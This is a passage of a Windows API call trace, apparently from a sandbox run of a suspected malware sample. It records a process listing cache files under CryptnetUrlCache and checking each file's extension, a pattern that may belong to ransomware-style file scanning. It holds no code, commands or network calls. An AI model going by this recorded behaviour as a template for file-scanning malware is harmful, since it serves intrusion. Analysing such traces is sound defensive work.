ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0113.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0113.990] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0113.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0113.990] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0113.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0113.990] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0113.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0113.990] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0113.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0113.990] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0113.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0113.990] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0113.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0113.990] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0113.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0113.990] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0113.991] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0113.991] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0113.991] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0113.991] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0113.991] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0113.991] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0113.991] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0113.991] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0113.991] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0113.991] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0113.991] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0113.991] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x64b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0113.991] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0113.991] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0113.991] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0113.991] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0113.991] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0113.991] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0113.991] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.992] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.992] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.992] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="MetaData\\" [0113.992] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0113.992] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0113.993] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.993] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.993] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.993] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.993] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.993] PathFindFileNameW (pszPath="") returned="" [0113.993] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.995] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.996] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0113.996] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0113.996] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0113.996] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0113.996] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0113.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0113.997] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0113.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0113.997] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0113.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0113.997] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0113.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0113.997] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0113.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0113.997] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0113.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0113.997] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0113.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0113.997] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, 